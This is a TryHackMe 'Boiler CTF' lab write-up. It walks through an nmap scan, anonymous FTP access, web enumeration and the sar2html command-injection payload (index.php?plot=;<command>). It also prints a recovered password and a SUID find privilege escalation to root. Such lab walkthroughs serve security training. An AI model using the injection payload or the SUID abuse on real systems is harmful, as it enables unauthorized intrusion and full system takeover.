003 Boiler CTF

Date : 08-02-2023
Time Taken : 40 Minutes
Platform : TryHackme
Player Name : Frey
Full URL:- https://tryhackme.com/room/boilerctf2
IP: 10.10.71.212
Host-name: ni6st@x:~/CTF/THM/BoilCTF$ hostname=> X

System Information: Linux

Nmap Scan:

As Always Let's Give it a Roll With Nmap Scan I And find out our sweet technologies/services `

```
ni6st@x:~/CTF/THM/BoilCTF$ nmap -sC -sV 10.10.71.212 -oA scan
Starting Nmap 7.80 ( https://nmap.org ) at 2024-02-08 08:08 EST`
`Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Connect
Scan`
`Connect Scan Timing: About 11.95% done; ETC: 08:09 (0:00:07 remaining)`
`Nmap scan report for 10.10.71.212 (10.10.71.212)`
`Host is up (0.19s latency).`
`Not shown: 997 closed ports`
`PORT      STATE SERVICE VERSION`
`21/tcp    open  ftp     vsftpd 3.0.3`
`|_ftp-anon: Anonymous FTP login allowed (FTP code 230)`
`| ftp-syst:`
`|   STAT:`
`| FTP server status:`
`|      Connected to ::ffff:10.8.7.104`
`|      Logged in as ftp`
`|      TYPE: ASCII`
`|      No session bandwidth limit`
`|      Session timeout in seconds is 300`
`|      Control connection is plain text`
`|      Data connections will be plain text`
```

```
`|      At session startup, client count was 1`
`|      vsFTPd 3.0.3 - secure, fast, stable`
`|_End of status`
`80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))`
`| http-robots.txt: 1 disallowed entry`
`|_/`
`|_http-server-header: Apache/2.4.18 (Ubuntu)`
`|_http-title: Apache2 Ubuntu Default Page: It works`
`10000/tcp open  http    MiniServ 1.930 (Webmin httpd)`
`|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-
1).`
`Service Info: OS: Unix`

`Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .`
`Nmap done: 1 IP address (1 host up) scanned in 66.70 seconds
```

I have to run it again as it has some higher port so do a full Namap scan ans when I say full that means use -p- for all ports

2. FTP login

Now from our scan we can see that we can do anonymous login so here it is

```
/CTF/THM/BoilCTF$ ftp 10.10.71.212
Connected to 10.10.71.212.
220 (vsFTPd 3.0.3)
Name (10.10.71.212:ni6st): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||48099|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls
229 Entering Extended Passive Mode (|||48892|)
150 Here comes the directory listing.
226 Directory send OK.
```

```
ftp> ls -la
229 Entering Extended Passive Mode (|||45253|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 .
drwxr-xr-x 2 ftp ftp 4096 Aug 22 2019 ..
-rw-r--r-- 1 ftp ftp 74 Aug 21 2019 .info.txt
226 Directory send OK.
ftp> wget .info.txt
?Invalid command.
ftp> ?
Commands may be abbreviated. Commands are:

! delete hash mlsd pdir remopts struct
$ dir help mlst pls rename sunique
account disconnect idle mode pmlsd reset system
append edit image modtime preserve restart tenex
ascii epsv lcd more progress rhelp throttle
bell epsv4 less mput prompt rmdir trace
binary epsv6 lpage mreget proxy rstatus type
bye exit lpwd msend put runique umask
case features ls newer pwd send unset
cd fget macdef nlist quit sendport usage
cdup form mdelete nmap quote set user
chmod ftp mdir ntrans rate site verbose
close gate mget open rcvbuf size xferbuf
cr get mkdir page recv sndbuf ?
debug glob mls passive reget status
ftp> get .info.txt
local: .info.txt remote: .info.txt
229 Entering Extended Passive Mode (|||40417|)
150 Opening BINARY mode data connection for .info.txt (74 bytes).
100% |***********************************************************************|
74 345.76 KiB/s 00:00 ETA
226 Transfer complete.
74 bytes received in 00:00 (0.45 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||43640|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> exit
```

`221 Goodbye`
we find a file name .info.txt maybe it has something good in it ? Lets see
`ni6st@x:~/CTF/THM/BoilCTF$ cat .info.txt`
`Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!`
`ni6st@x:~/CTF/THM/BoilCTF$`
Ok It's ROT 13 and it says => Just wanted to see if you find it. Lol. Remember: Enumeration is the key!
Lol so we are moving forward

3. Web Scan (gobuster)

use gobuster or any tool you like to enumerate I will go with go buster

in a format of `$gobuster -u <URL By THM> -w <your wordlist>$`
we found /joomla/
and robots.txt
but let me be serious robots.txt is a rabbit hole

so again do scan but this time with /joomla
and by doinf this we find `/joomla/_test`
and this is were things get interested

4 Exploit

Search for the exploit on the web it will be the very fist link or use this search for sar2html exploit
exploit :- https://www.exploit-db.com/exploits/47204

```
# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7

In web application you will see index.php?plot url extension.

http://<ipaddr>/index.php?plot=;<command-here> will execute
the command you entered. After command injection press "select # host"
```

```
then your command's
output will appear bottom side of the scroll screen.
```

Now we can access log.txt and then read it bu cat use these commands

`ls - joomla/_test/index.php?plot=;ls`
`cat - /index.php?plot=;cat log.txt`

``

from here you will get the ssh username and password and boom you will be in
and when you are inside there will be a backup file open it and it will give you the password for

```
USER=stoner
#superduperp@$$no1knows
```

5 Root flag

For Root Access You should first do use find in a way to see the permission

```
find / -perm /4000 -type f -exec ls -ld {} \; 2>/dev/null
```

And then for flag set permission on the root and get the flag

```
stoner@Vulnerable:~$ find . -exec chmod 777 /root \;
stoner@Vulnerable:~$ cd /root
stoner@Vulnerable:/root$ ls
root.txt
stoner@Vulnerable:/root$ cat root.txt
It wasn't that hard, was it?
stoner@Vulnerable:/root$ uname
Linux
stoner@Vulnerable:/root$
```